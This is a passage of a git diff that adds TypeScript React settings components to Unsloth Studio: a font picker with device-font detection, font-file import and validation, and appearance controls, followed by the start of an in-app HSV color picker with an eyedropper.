+  chat: "Inter Variable",
+  code: "JetBrains Mono",
+} as const;
+
+/** Fonts Unsloth Studio already ships (bundled @font-face / fontsource). */
+const BUNDLED_FONTS = [
+  "Inter Variable",
+  "Hellix",
+  "Space Grotesk Variable",
+  "Figtree Variable",
+  "JetBrains Mono",
+  "Fira Code",
+] as const;
+
+/* ----------------------------- Device fonts ------------------------------ */
+
+// Fallback candidates probed by canvas measurement when the Local Font
+// Access API (Chromium-only) is unavailable or denied.
+const CANDIDATE_DEVICE_FONTS = [
+  "American Typewriter",
+  "Andale Mono",
+  "Arial",
+  "Avenir",
+  "Avenir Next",
+  "Baskerville",
+  "Calibri",
+  "Cambria",
+  "Candara",
+  "Cantarell",
+  "Charter",
+  "Comic Sans MS",
+  "Consolas",
+  "Constantia",
+  "Corbel",
+  "Courier",
+  "Courier New",
+  "DejaVu Sans",
+  "DejaVu Sans Mono",
+  "DejaVu Serif",
+  "Didot",
+  "Fira Sans",
+  "Franklin Gothic Medium",
+  "Futura",
+  "Geneva",
+  "Georgia",
+  "Gill Sans",
+  "Helvetica",
+  "Helvetica Neue",
+  "Hoefler Text",
+  "IBM Plex Mono",
+  "IBM Plex Sans",
+  "Impact",
+  "Inconsolata",
+  "Iosevka",
+  "Lato",
+  "Liberation Mono",
+  "Liberation Sans",
+  "Liberation Serif",
+  "Lucida Grande",
+  "Menlo",
+  "Monaco",
+  "Montserrat",
+  "Noto Sans",
+  "Noto Serif",
+  "Nunito",
+  "Open Sans",
+  "Optima",
+  "Palatino",
+  "Roboto",
+  "Rockwell",
+  "Segoe UI",
+  "Seravek",
+  "Source Sans Pro",
+  "Tahoma",
+  "Times",
+  "Times New Roman",
+  "Trebuchet MS",
+  "Ubuntu",
+  "Verdana",
+];
+
+function detectFontsByMeasurement(candidates: string[]): string[] {
+  const canvas = document.createElement("canvas");
+  const ctx = canvas.getContext("2d");
+  if (!ctx) return [];
+  const sample = "mmmmmmmmmwwwwwwwlli";
+  const baselines = ["monospace", "sans-serif", "serif"].map((base) => {
+    ctx.font = `72px ${base}`;
+    return { base, width: ctx.measureText(sample).width };
+  });
+  return candidates.filter((family) =>
+    baselines.some(({ base, width }) => {
+      ctx.font = `72px "${family}", ${base}`;
+      return ctx.measureText(sample).width !== width;
+    }),
+  );
+}
+
+let deviceFontsCache: string[] | null = null;
+
+async function loadDeviceFonts(): Promise<string[]> {
+  if (deviceFontsCache) return deviceFontsCache;
+  let families: string[] = [];
+  const query = (
+    globalThis as {
+      queryLocalFonts?: () => Promise<{ family: string }[]>;
+    }
+  ).queryLocalFonts;
+  if (typeof query === "function") {
+    try {
+      const fonts = await query();
+      families = [...new Set(fonts.map((f) => f.family))];
+    } catch {
+      // permission denied; fall back to measurement probing
+    }
+  }
+  if (families.length === 0) {
+    families = detectFontsByMeasurement(CANDIDATE_DEVICE_FONTS);
+  }
+  deviceFontsCache = families.sort((a, b) => a.localeCompare(b));
+  return deviceFontsCache;
+}
+
+function FontSelect({
+  value,
+  defaultFont,
+  onCommit,
+  ariaLabel,
+}: {
+  value: string | null;
+  defaultFont: string;
+  onCommit: (next: string | null) => void;
+  ariaLabel: string;
+}) {
+  const t = useT();
+  const defaultLabel = `${defaultFont} (${t("settings.appearance.custom.fontDefault")})`;
+  const [open, setOpen] = useState(false);
+  const [deviceFonts, setDeviceFonts] = useState<string[] | null>(
+    deviceFontsCache,
+  );
+  const importedFonts = useAppearanceCustomStore(
+    (s) => s.customization.importedFonts,
+  );
+  const removeImportedFont = useAppearanceCustomStore(
+    (s) => s.removeImportedFont,
+  );
+
+  const handleOpenChange = (next: boolean) => {
+    setOpen(next);
+    // Kick off inside the click gesture: queryLocalFonts may need transient
+    // user activation for its permission prompt.
+    if (next && deviceFonts === null) {
+      void loadDeviceFonts().then(setDeviceFonts);
+    }
+  };
+
+  const select = (next: string | null) => {
+    onCommit(next);
+    setOpen(false);
+  };
+
+  const folderFonts = useFolderFonts();
+  const { inputs: uploadInputs, requestUpload, requestFolder, importFile } =
+    useFontImport((name) => select(name));
+
+  const knownNames = new Set<string>([
+    ...BUNDLED_FONTS,
+    ...importedFonts.map((f) => f.name),
+  ]);
+  const deviceOnlyFonts = (deviceFonts ?? []).filter((f) => !knownNames.has(f));
+
+  const renderItem = (font: string) => (
+    <CommandItem
+      key={font}
+      value={font}
+      onSelect={() => select(font)}
+      data-checked={value === font}
+      className="cursor-pointer rounded-[11px]"
+    >
+      {/* Preview each entry in its own typeface. */}
+      <span
+        className="min-w-0 truncate"
+        style={{ fontFamily: `"${font}", var(--font-sans)` }}
+      >
+        {font}
+      </span>
+    </CommandItem>
+  );
+
+  return (
+    <Popover open={open} onOpenChange={handleOpenChange} modal={true}>
+      <PopoverTrigger asChild={true}>
+        <button
+          type="button"
+          aria-label={ariaLabel}
+          aria-expanded={open}
+          className="flex h-8 w-48 cursor-pointer items-center justify-between gap-1.5 rounded-full border border-border bg-background px-3.5 text-xs outline-none transition-colors hover:bg-accent/50 focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] dark:border-transparent dark:bg-white/[0.06] dark:hover:bg-white/10"
+        >
+          <span
+            className="min-w-0 truncate"
+            style={{ fontFamily: `"${value ?? defaultFont}", var(--font-sans)` }}
+          >
+            {value ?? defaultLabel}
+          </span>
+          <HugeiconsIcon
+            icon={ChevronDownStandardIcon}
+            strokeWidth={2}
+            className="size-4 shrink-0 text-muted-foreground"
+          />
+        </button>
+      </PopoverTrigger>
+      <PopoverContent
+        align="end"
+        className="w-64 gap-0 rounded-lg p-1 font-heading"
+      >
+        <Command className="rounded-none bg-transparent p-0">
+          <CommandInput
+            placeholder={t("settings.appearance.custom.fontSearch")}
+          />
+          <CommandList className="max-h-64 pt-1.5">
+            <CommandEmpty>
+              {t("settings.appearance.custom.fontNoResults")}
+            </CommandEmpty>
+            <CommandItem
+              value={defaultLabel}
+              onSelect={() => select(null)}
+              data-checked={value === null}
+              className="cursor-pointer rounded-[11px]"
+            >
+              <span style={{ fontFamily: `"${defaultFont}", var(--font-sans)` }}>
+                {defaultLabel}
+              </span>
+            </CommandItem>
+            <CommandGroup
+              className="p-0"
+              heading={t("settings.appearance.custom.fontBundledGroup")}
+            >
+              {BUNDLED_FONTS.map(renderItem)}
+            </CommandGroup>
+            {importedFonts.length > 0 && (
+              <CommandGroup
+                className="p-0"
+                heading={t("settings.appearance.custom.fontImportedGroup")}
+              >
+                {importedFonts.map((font) => (
+                  <CommandItem
+                    key={font.name}
+                    value={font.name}
+                    onSelect={() => select(font.name)}
+                    data-checked={value === font.name}
+                    className="cursor-pointer rounded-[11px]"
+                  >
+                    <span
+                      className="min-w-0 truncate"
+                      style={{ fontFamily: `"${font.name}", var(--font-sans)` }}
+                    >
+                      {font.name}
+                    </span>
+                    <button
+                      type="button"
+                      aria-label={`${t("settings.appearance.custom.importFont.remove")}: ${font.name}`}
+                      onPointerDown={(e) => e.stopPropagation()}
+                      onClick={(e) => {
+                        e.stopPropagation();
+                        removeImportedFont(font.name);
+                      }}
+                      className="ml-auto rounded p-0.5 text-muted-foreground transition-colors hover:text-foreground"
+                    >
+                      <HugeiconsIcon icon={Cancel01Icon} className="size-3" />
+                    </button>
+                  </CommandItem>
+                ))}
+              </CommandGroup>
+            )}
+            {folderFonts.some((f) => !knownNames.has(f.name)) && (
+              <CommandGroup
+                className="p-0"
+                heading={t("settings.appearance.custom.fontFolderGroup")}
+              >
+                {folderFonts
+                  .filter((f) => !knownNames.has(f.name))
+                  .map(({ name, file }) => (
+                    <CommandItem
+                      key={`folder-${name}`}
+                      value={name}
+                      onSelect={() => importFile(file)}
+                      className="cursor-pointer rounded-[11px]"
+                    >
+                      <span className="min-w-0 truncate">{name}</span>
+                    </CommandItem>
+                  ))}
+              </CommandGroup>
+            )}
+            <CommandGroup
+              className="p-0"
+              heading={t("settings.appearance.custom.fontDeviceGroup")}
+            >
+              {deviceFonts === null ? (
+                <div className="px-3 py-2 text-xs text-muted-foreground">
+                  {t("settings.appearance.custom.fontDeviceLoading")}
+                </div>
+              ) : (
+                deviceOnlyFonts.map(renderItem)
+              )}
+            </CommandGroup>
+          </CommandList>
+        </Command>
+        <div className="mt-1 flex items-center gap-1 border-t border-border/60 pt-1">
+          <button
+            type="button"
+            onClick={requestUpload}
+            className="flex flex-1 cursor-pointer items-center gap-2 whitespace-nowrap rounded-[11px] px-3 py-2 text-sm hover:bg-accent hover:text-accent-foreground"
+          >
+            <HugeiconsIcon
+              icon={Upload01Icon}
+              className="size-4 shrink-0 text-muted-foreground"
+            />
+            {t("settings.appearance.custom.importFont.upload")}
+          </button>
+          <div className="h-4 w-px shrink-0 bg-border" />
+          <button
+            type="button"
+            onClick={requestFolder}
+            className="flex flex-1 cursor-pointer items-center gap-2 whitespace-nowrap rounded-[11px] px-3 py-2 text-sm hover:bg-accent hover:text-accent-foreground"
+          >
+            <HugeiconsIcon
+              icon={Folder01Icon}
+              className="size-4 shrink-0 text-muted-foreground"
+            />
+            {t("settings.appearance.custom.importFont.scanFolder")}
+          </button>
+        </div>
+        {uploadInputs}
+      </PopoverContent>
+    </Popover>
+  );
+}
+
+export function UiFontRow() {
+  const t = useT();
+  const uiFont = useAppearanceCustomStore((s) => s.customization.uiFont);
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSelect
+      value={uiFont}
+      defaultFont={DEFAULT_FONT_NAMES.ui}
+      onCommit={(next) => patch({ uiFont: next })}
+      ariaLabel={t("settings.appearance.custom.uiFont.label")}
+    />
+  );
+}
+
+export function HeadingFontRow() {
+  const t = useT();
+  const headingFont = useAppearanceCustomStore(
+    (s) => s.customization.headingFont,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSelect
+      value={headingFont}
+      defaultFont={DEFAULT_FONT_NAMES.heading}
+      onCommit={(next) => patch({ headingFont: next })}
+      ariaLabel={t("settings.appearance.custom.headingFont.label")}
+    />
+  );
+}
+
+export function ChatFontRow() {
+  const t = useT();
+  const chatFont = useAppearanceCustomStore((s) => s.customization.chatFont);
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSelect
+      value={chatFont}
+      defaultFont={DEFAULT_FONT_NAMES.chat}
+      onCommit={(next) => patch({ chatFont: next })}
+      ariaLabel={t("settings.appearance.custom.chatFont.label")}
+    />
+  );
+}
+
+export function CodeFontRow() {
+  const t = useT();
+  const codeFont = useAppearanceCustomStore((s) => s.customization.codeFont);
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSelect
+      value={codeFont}
+      defaultFont={DEFAULT_FONT_NAMES.code}
+      onCommit={(next) => patch({ codeFont: next })}
+      ariaLabel={t("settings.appearance.custom.codeFont.label")}
+    />
+  );
+}
+
+/* ---------------------------- Imported fonts ---------------------------- */
+
+const FONT_MIME_BY_EXTENSION: Record<string, string> = {
+  woff2: "font/woff2",
+  woff: "font/woff",
+  ttf: "font/ttf",
+  otf: "font/otf",
+};
+
+const MAX_FONT_FILE_BYTES = Math.floor(1.5 * 1024 * 1024);
+
+// Trailing style words stripped when matching a file name to a family the
+// user already has ("Roboto-Bold.ttf" should match an installed "Roboto").
+const FONT_STYLE_SUFFIXES = new Set([
+  "regular",
+  "bold",
+  "italic",
+  "light",
+  "medium",
+  "thin",
+  "black",
+  "semibold",
+  "extrabold",
+  "extralight",
+  "heavy",
+  "book",
+  "oblique",
+  "normal",
+  "variable",
+  "vf",
+]);
+
+function fontBaseName(fileName: string): string {
+  return fileName
+    .replace(/\.[^.]+$/, "")
+    .replace(/[;{}()<>"']/g, "")
+    .replace(/[_-]+/g, " ")
+    .trim();
+}
+
+function familyCandidates(base: string): string[] {
+  const candidates = [base];
+  let words = base.split(/\s+/);
+  while (
+    words.length > 1 &&
+    FONT_STYLE_SUFFIXES.has(words[words.length - 1].toLowerCase())
+  ) {
+    words = words.slice(0, -1);
+    candidates.push(words.join(" "));
+  }
+  return candidates;
+}
+
+/* ----------------------------- Folder fonts ----------------------------- */
+
+// Font files found by a folder scan this session, shared by every dropdown.
+// File handles cannot be persisted from a plain directory input, so the list
+// lives for the session; picking one imports it through the normal path.
+type FolderFont = { name: string; file: File };
+let folderFontsCache: FolderFont[] = [];
+const folderFontsListeners = new Set<() => void>();
+
+function setFolderFonts(next: FolderFont[]) {
+  folderFontsCache = next;
+  for (const listener of folderFontsListeners) listener();
+}
+
+function useFolderFonts(): FolderFont[] {
+  return useSyncExternalStore(
+    (onChange) => {
+      folderFontsListeners.add(onChange);
+      return () => folderFontsListeners.delete(onChange);
+    },
+    () => folderFontsCache,
+  );
+}
+
+function fontNameFromFile(fileName: string, taken: Set<string>): string {
+  const base = fontBaseName(fileName).slice(0, 60) || "Imported font";
+  let candidate = base;
+  let suffix = 2;
+  while (taken.has(candidate)) {
+    candidate = `${base} ${suffix}`;
+    suffix += 1;
+  }
+  return candidate;
+}
+
+/**
+ * File-import plumbing for the font dropdowns: hidden inputs, validation,
+ * and persistence. Successful uploads call onImported with the font name
+ * so the dropdown can select it for its slot right away. Fonts the user
+ * already has (bundled, imported, or installed on the device) are selected
+ * directly instead of embedding a duplicate copy.
+ */
+function useFontImport(onImported: (name: string) => void) {
+  const t = useT();
+  const importedFonts = useAppearanceCustomStore(
+    (s) => s.customization.importedFonts,
+  );
+  const addImportedFont = useAppearanceCustomStore((s) => s.addImportedFont);
+  const inputRef = useRef<HTMLInputElement>(null);
+  const folderRef = useRef<HTMLInputElement>(null);
+
+  // Match the file name against fonts that already exist somewhere.
+  const findExisting = (fileName: string): string | null => {
+    for (const candidate of familyCandidates(fontBaseName(fileName))) {
+      const lower = candidate.toLowerCase();
+      const imported = importedFonts.find((f) => f.name.toLowerCase() === lower);
+      if (imported) return imported.name;
+      const bundled = BUNDLED_FONTS.find((f) => f.toLowerCase() === lower);
+      if (bundled) return bundled;
+      if (detectFontsByMeasurement([candidate]).length > 0) return candidate;
+    }
+    return null;
+  };
+
+  const importFile = (file: File) => {
+    const existing = findExisting(file.name);
+    if (existing) {
+      toast.info(t("settings.appearance.custom.importFont.alreadyAvailable"));
+      onImported(existing);
+      return;
+    }
+    if (importedFonts.length >= MAX_IMPORTED_FONTS) {
+      toast.error(t("settings.appearance.custom.importFont.errorLimit"));
+      return;
+    }
+    const extension = file.name.split(".").pop()?.toLowerCase() ?? "";
+    const mime = FONT_MIME_BY_EXTENSION[extension];
+    if (!mime) {
+      toast.error(t("settings.appearance.custom.importFont.errorInvalidType"));
+      return;
+    }
+    if (file.size > MAX_FONT_FILE_BYTES) {
+      toast.error(t("settings.appearance.custom.importFont.errorTooLarge"));
+      return;
+    }
+    const reader = new FileReader();
+    reader.onerror = () => {
+      toast.error(t("settings.appearance.custom.importFont.errorFailed"));
+    };
+    reader.onload = () => {
+      const result = reader.result;
+      if (typeof result !== "string") {
+        toast.error(t("settings.appearance.custom.importFont.errorFailed"));
+        return;
+      }
+      // Rewrite whatever MIME the browser guessed to the extension's font
+      // type so the stored data URL passes frontend and backend validation.
+      const base64 = result.slice(result.indexOf(",") + 1);
+      const dataUrl = `data:${mime};base64,${base64}`;
+      // Keep the persisted store under the localStorage quota.
+      const existingTotal = importedFonts.reduce(
+        (sum, f) => sum + f.dataUrl.length,
+        0,
+      );
+      if (
+        existingTotal + dataUrl.length >
+        MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH
+      ) {
+        toast.error(
+          t("settings.appearance.custom.importFont.errorStorageFull"),
+        );
+        return;
+      }
+      const taken = new Set<string>([
+        ...BUNDLED_FONTS,
+        ...importedFonts.map((f) => f.name),
+      ]);
+      const name = fontNameFromFile(file.name, taken);
+      // Prove the file is a loadable font before persisting it.
+      const face = new FontFace(name, `url(${dataUrl})`);
+      face
+        .load()
+        .then(() => {
+          addImportedFont({ name, dataUrl });
+          onImported(name);
+        })
+        .catch(() => {
+          toast.error(t("settings.appearance.custom.importFont.errorFailed"));
+        });
+    };
+    reader.readAsDataURL(file);
+  };
+
+  const scanFolder = (files: FileList) => {
+    const found: FolderFont[] = [];
+    const seen = new Set<string>();
+    for (const file of Array.from(files)) {
+      const extension = file.name.split(".").pop()?.toLowerCase() ?? "";
+      if (!FONT_MIME_BY_EXTENSION[extension]) continue;
+      const name = fontBaseName(file.name).slice(0, 60);
+      if (!name || seen.has(name.toLowerCase())) continue;
+      seen.add(name.toLowerCase());
+      found.push({ name, file });
+      if (found.length >= 200) break;
+    }
+    if (found.length === 0) {
+      toast.info(t("settings.appearance.custom.importFont.folderNoFonts"));
+      return;
+    }
+    found.sort((a, b) => a.name.localeCompare(b.name));
+    setFolderFonts(found);
+  };
+
+  const requestUpload = () => inputRef.current?.click();
+  const requestFolder = () => folderRef.current?.click();
+
+  const inputs = (
+    <>
+      <input
+        ref={inputRef}
+        type="file"
+        accept=".woff2,.woff,.ttf,.otf"
+        className="hidden"
+        onChange={(e) => {
+          const file = e.target.files?.[0];
+          if (file) importFile(file);
+          e.target.value = "";
+        }}
+      />
+      <input
+        ref={folderRef}
+        type="file"
+        className="hidden"
+        // Non-standard but universal directory picker attributes.
+        {...({ webkitdirectory: "", directory: "" } as object)}
+        onChange={(e) => {
+          if (e.target.files) scanFolder(e.target.files);
+          e.target.value = "";
+        }}
+      />
+    </>
+  );
+
+  return { inputs, requestUpload, requestFolder, importFile };
+}
+
+function FontSizeInput({
+  value,
+  range,
+  onCommit,
+  ariaLabel,
+}: {
+  value: number | null;
+  range: { min: number; max: number; default: number };
+  onCommit: (next: number | null) => void;
+  ariaLabel: string;
+}) {
+  const [draft, setDraft] = useState(value === null ? "" : String(value));
+  useEffect(() => {
+    setDraft(value === null ? "" : String(value));
+  }, [value]);
+  const commit = () => {
+    const trimmed = draft.trim();
+    if (trimmed === "") {
+      onCommit(null);
+      return;
+    }
+    const parsed = Number.parseInt(trimmed, 10);
+    if (Number.isNaN(parsed)) {
+      setDraft(value === null ? "" : String(value));
+      return;
+    }
+    onCommit(Math.min(range.max, Math.max(range.min, parsed)));
+  };
+  return (
+    <div className="flex items-center gap-1.5">
+      <Input
+        type="number"
+        inputMode="numeric"
+        min={range.min}
+        max={range.max}
+        value={draft}
+        placeholder={String(range.default)}
+        onChange={(e) => setDraft(e.target.value)}
+        onBlur={commit}
+        onKeyDown={(e) => {
+          if (e.key === "Enter") {
+            commit();
+            e.currentTarget.blur();
+          }
+        }}
+        aria-label={ariaLabel}
+        className="h-8 w-20 text-xs"
+      />
+      <span className="text-xs text-muted-foreground">px</span>
+    </div>
+  );
+}
+
+export function UiFontSizeRow() {
+  const t = useT();
+  const uiFontSize = useAppearanceCustomStore(
+    (s) => s.customization.uiFontSize,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSizeInput
+      value={uiFontSize}
+      range={UI_FONT_SIZE_RANGE}
+      onCommit={(next) => patch({ uiFontSize: next })}
+      ariaLabel={t("settings.appearance.custom.uiFontSize.label")}
+    />
+  );
+}
+
+export function CodeFontSizeRow() {
+  const t = useT();
+  const codeFontSize = useAppearanceCustomStore(
+    (s) => s.customization.codeFontSize,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSizeInput
+      value={codeFontSize}
+      range={CODE_FONT_SIZE_RANGE}
+      onCommit={(next) => patch({ codeFontSize: next })}
+      ariaLabel={t("settings.appearance.custom.codeFontSize.label")}
+    />
+  );
+}
+
+export function FontSmoothingSwitch() {
+  const fontSmoothing = useAppearanceCustomStore(
+    (s) => s.customization.fontSmoothing,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <Switch
+      checked={fontSmoothing}
+      onCheckedChange={(checked) => patch({ fontSmoothing: checked })}
+    />
+  );
+}
+
+/* ------------------------------ Interface ------------------------------- */
+
+export function ContrastSliderRow() {
+  const t = useT();
+  const contrast = useAppearanceCustomStore((s) => s.customization.contrast);
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <div className="flex w-48 items-center gap-3">
+      <Slider
+        value={[contrast]}
+        min={0}
+        max={100}
+        step={5}
+        onValueChange={(values: number[]) => patch({ contrast: values[0] })}
+        aria-label={t("settings.appearance.custom.contrast.label")}
+      />
+      <span className="w-8 text-right text-xs tabular-nums text-muted-foreground">
+        {contrast}
+      </span>
+    </div>
+  );
+}
+
+export function PointerCursorsSwitch() {
+  const pointerCursors = useAppearanceCustomStore(
+    (s) => s.customization.pointerCursors,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <Switch
+      checked={pointerCursors}
+      onCheckedChange={(checked) => patch({ pointerCursors: checked })}
+    />
+  );
+}
+
+const REDUCE_MOTION_OPTIONS: {
+  value: ReduceMotionSetting;
+  labelKey: TranslationKey;
+}[] = [
+  {
+    value: "system",
+    labelKey: "settings.appearance.custom.reduceMotion.system",
+  },
+  { value: "on", labelKey: "settings.appearance.custom.reduceMotion.on" },
+  { value: "off", labelKey: "settings.appearance.custom.reduceMotion.off" },
+];
+
+export function ReduceMotionSegmented() {
+  const t = useT();
+  const reduceMotion = useAppearanceCustomStore(
+    (s) => s.customization.reduceMotion,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  const reduced = useReducedMotionConfig();
+  return (
+    <div className="hub-tab-toggle inline-flex h-8 items-center rounded-full">
+      {REDUCE_MOTION_OPTIONS.map((opt) => {
+        const active = reduceMotion === opt.value;
+        return (
+          <button
+            key={opt.value}
+            type="button"
+            onClick={() => patch({ reduceMotion: opt.value })}
+            aria-pressed={active}
+            className={cn(
+              "relative flex h-8 items-center rounded-full px-3 text-xs font-medium transition-colors",
+              active
+                ? "text-foreground"
+                : "text-muted-foreground hover:text-foreground",
+            )}
+          >
+            {active && (
+              <motion.span
+                layoutId="reduce-motion-pill"
+                className="hub-tab-toggle-pill absolute inset-0 rounded-full"
+                transition={
+                  reduced
+                    ? { duration: 0 }
+                    : { type: "spring", stiffness: 500, damping: 35, mass: 0.5 }
+                }
+              />
+            )}
+            <span className="relative z-10">{t(opt.labelKey)}</span>
+          </button>
+        );
+      })}
+    </div>
+  );
+}
+
+/* ------------------------------- Reset all ------------------------------ */
+
+export function ResetCustomizationButton() {
+  const t = useT();
+  const customization = useAppearanceCustomStore((s) => s.customization);
+  const resetAll = useAppearanceCustomStore((s) => s.resetAll);
+  const pristine = isDefaultCustomization(customization);
+  return (
+    <Button
+      type="button"
+      variant="outline"
+      size="sm"
+      disabled={pristine}
+      onClick={resetAll}
+    >
+      {t("settings.appearance.custom.resetAll")}
+    </Button>
+  );
+}
+
+export { DEFAULT_CUSTOMIZATION };
diff --git a/studio/frontend/src/features/settings/components/color-picker.tsx b/studio/frontend/src/features/settings/components/color-picker.tsx
new file mode 100644
index 0000000000..d42e439349
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/color-picker.tsx
@@ -0,0 +1,270 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from "@/components/ui/popover";
+import { useT } from "@/i18n";
+import { cn } from "@/lib/utils";
+import { ColorPickerIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useEffect, useRef, useState } from "react";
+
+/* ------------------------- HSV ↔ hex conversions ------------------------- */
+
+type Hsv = { h: number; s: number; v: number };
+
+function hexToHsv(hex: string): Hsv {
+  const r = Number.parseInt(hex.slice(1, 3), 16) / 255;
+  const g = Number.parseInt(hex.slice(3, 5), 16) / 255;
+  const b = Number.parseInt(hex.slice(5, 7), 16) / 255;
+  const max = Math.max(r, g, b);
+  const min = Math.min(r, g, b);
+  const d = max - min;
+  let h = 0;
+  if (d !== 0) {
+    if (max === r) h = ((g - b) / d) % 6;
+    else if (max === g) h = (b - r) / d + 2;
+    else h = (r - g) / d + 4;
+    h *= 60;
+    if (h < 0) h += 360;
+  }
+  return { h, s: max === 0 ? 0 : d / max, v: max };
+}
+
+function hsvToHex({ h, s, v }: Hsv): string {
+  const c = v * s;
+  const x = c * (1 - Math.abs(((h / 60) % 2) - 1));
+  const m = v - c;
+  let rgb: [number, number, number];
+  if (h < 60) rgb = [c, x, 0];
+  else if (h < 120) rgb = [x, c, 0];
+  else if (h < 180) rgb = [0, c, x];
+  else if (h < 240) rgb = [0, x, c];
+  else if (h < 300) rgb = [x, 0, c];
+  else rgb = [c, 0, x];
+  const channel = (value: number) =>
+    Math.round((value + m) * 255)
+      .toString(16)
+      .padStart(2, "0");
+  return `#${channel(rgb[0])}${channel(rgb[1])}${channel(rgb[2])}`;
+}
+
+const HEX_PATTERN = /^#?([0-9a-fA-F]{6})$/;
+
+function isLightColor(hex: string): boolean {
+  const r = Number.parseInt(hex.slice(1, 3), 16);
+  const g = Number.parseInt(hex.slice(3, 5), 16);
+  const b = Number.parseInt(hex.slice(5, 7), 16);
+  return (0.2126 * r + 0.7152 * g + 0.0722 * b) / 255 > 0.62;
+}
+
+/* ------------------------------- Component ------------------------------- */
+
+type EyeDropperResult = { sRGBHex: string };
+type EyeDropperConstructor = new () => {
+  open: () => Promise<EyeDropperResult>;
+};
+
+/**
+ * In-app color picker in a Popover: saturation/value area, hue slider, hex
+ * field, and (where supported) a screen eyedropper. Replaces the native
+ * <input type="color"> so no OS-level color panel is left dangling when the
+ * user clicks away; the popover dismisses like any other popup.
+ */
+export function ColorPickerSwatch({
+  value,
+  onChange,
+  label,
+}: {
+  value: string;
+  onChange: (hex: string) => void;
+  label: string;
+}) {
+  const t = useT();
+  const [open, setOpen] = useState(false);
+  const [hsv, setHsv] = useState<Hsv>(() => hexToHsv(value));
+  const [hexDraft, setHexDraft] = useState(value);
+  const areaRef = useRef<HTMLDivElement>(null);
+
+  // Re-seed the picker from the outside value each time it opens (the value
+  // may have changed via reset, palette switch, or remote sync).
+  useEffect(() => {
+    if (open) {
+      setHsv(hexToHsv(value));
+      setHexDraft(value);
+    }
+  }, [open, value]);
+
+  const emit = (next: Hsv) => {
+    setHsv(next);
+    const hex = hsvToHex(next);
+    setHexDraft(hex);
+    onChange(hex);
+  };
+
+  const moveFromPointer = (e: React.PointerEvent) => {
+    const area = areaRef.current;
+    if (!area) return;
+    const rect = area.getBoundingClientRect();
+    const s = Math.min(1, Math.max(0, (e.clientX - rect.left) / rect.width));
+    const v =
+      1 - Math.min(1, Math.max(0, (e.clientY - rect.top) / rect.height));
+    emit({ ...hsv, s, v });
+  };
+
+  const commitHex = () => {
+    const match = HEX_PATTERN.exec(hexDraft.trim());
+    if (!match) {
+      setHexDraft(hsvToHex(hsv));
+      return;
+    }
+    const hex = `#${match[1].toLowerCase()}`;
+    setHsv(hexToHsv(hex));
+    setHexDraft(hex);
+    onChange(hex);
+  };
+
+  const eyeDropperCtor = (
+    globalThis as { EyeDropper?: EyeDropperConstructor }
+  ).EyeDropper;
+
+  const pickFromScreen = async () => {
+    if (!eyeDropperCtor) return;
+    try {
+      const result = await new eyeDropperCtor().open();
+      const hex = result.sRGBHex.toLowerCase();
+      if (HEX_PATTERN.test(hex)) {
+        setHsv(hexToHsv(hex));
+        setHexDraft(hex);
+        onChange(hex);
+      }
+    } catch {
+      // user dismissed the eyedropper
+    }
+  };
+
+  const hueColor = hsvToHex({ h: hsv.h, s: 1, v: 1 });
+  const light = isLightColor(value);
+
+  return (
+    <Popover open={open} onOpenChange={setOpen} modal={true}>
+      <PopoverTrigger asChild>
+        <button
+          type="button"
+          aria-label={label}
+          className={cn(
+            "flex h-8 w-24 cursor-pointer items-center gap-1.5 rounded-full border px-2.5 font-mono text-xs uppercase transition-colors",
+            light
+              ? "border-black/10 text-black/80"
+              : "border-white/15 text-white",
+          )}
+          style={{ backgroundColor: value }}
+        >
+          <span
+            className={cn(
+              "size-3.5 shrink-0 rounded-full border",
+              light ? "border-black/20" : "border-white/40",
+            )}
+          />
+          {value.toUpperCase()}
+        </button>
+      </PopoverTrigger>
+      <PopoverContent align="end" className="w-60 rounded-lg p-3">
+        <div className="flex flex-col gap-3">
+          <div
+            ref={areaRef}
+            role="slider"
+            aria-label={label}
+            aria-valuetext={hexDraft}
+            aria-valuenow={Math.round(hsv.v * 100)}
+            tabIndex={0}
+            className="relative h-36 w-full cursor-crosshair touch-none rounded-lg"
+            style={{
+              background: `linear-gradient(to top, #000, transparent), linear-gradient(to right, #fff, ${hueColor})`,
+            }}
+            onPointerDown={(e) => {
+              e.currentTarget.setPointerCapture(e.pointerId);
+              moveFromPointer(e);
+            }}
+            onPointerMove={(e) => {
+              if (e.buttons === 1) moveFromPointer(e);
+            }}
+            onKeyDown={(e) => {
+              // Arrow keys move the saturation (x) / value (y) selection so the
+              // area is operable without a pointer; Shift takes coarser steps.
+              const step = e.shiftKey ? 0.1 : 0.01;
+              let next: Hsv | null = null;
+              if (e.key === "ArrowLeft")
+                next = { ...hsv, s: Math.max(0, hsv.s - step) };
+              else if (e.key === "ArrowRight")
+                next = { ...hsv, s: Math.min(1, hsv.s + step) };
+              else if (e.key === "ArrowDown")
+                next = { ...hsv, v: Math.max(0, hsv.v - step) };
+              else if (e.key === "ArrowUp")
+                next = { ...hsv, v: Math.min(1, hsv.v + step) };
+              if (next) {
+                e.preventDefault();
+                emit(next);
+              }
+            }}
+          >
+            <span
+              className="pointer-events-none absolute size-3.5 -translate-x-1/2 -translate-y-1/2 rounded-full border-2 border-white shadow-[0_0_0_1px_rgba(0,0,0,0.35)]"
+              style={{
+                left: `${hsv.s * 100}%`,
+                top: `${(1 - hsv.v) * 100}%`,
+                backgroundColor: hsvToHex(hsv),
+              }}
+            />
+          </div>
+          <input
+            type="range"
+            min={0}
+            max={360}
+            step={1}
+            value={Math.round(hsv.h)}
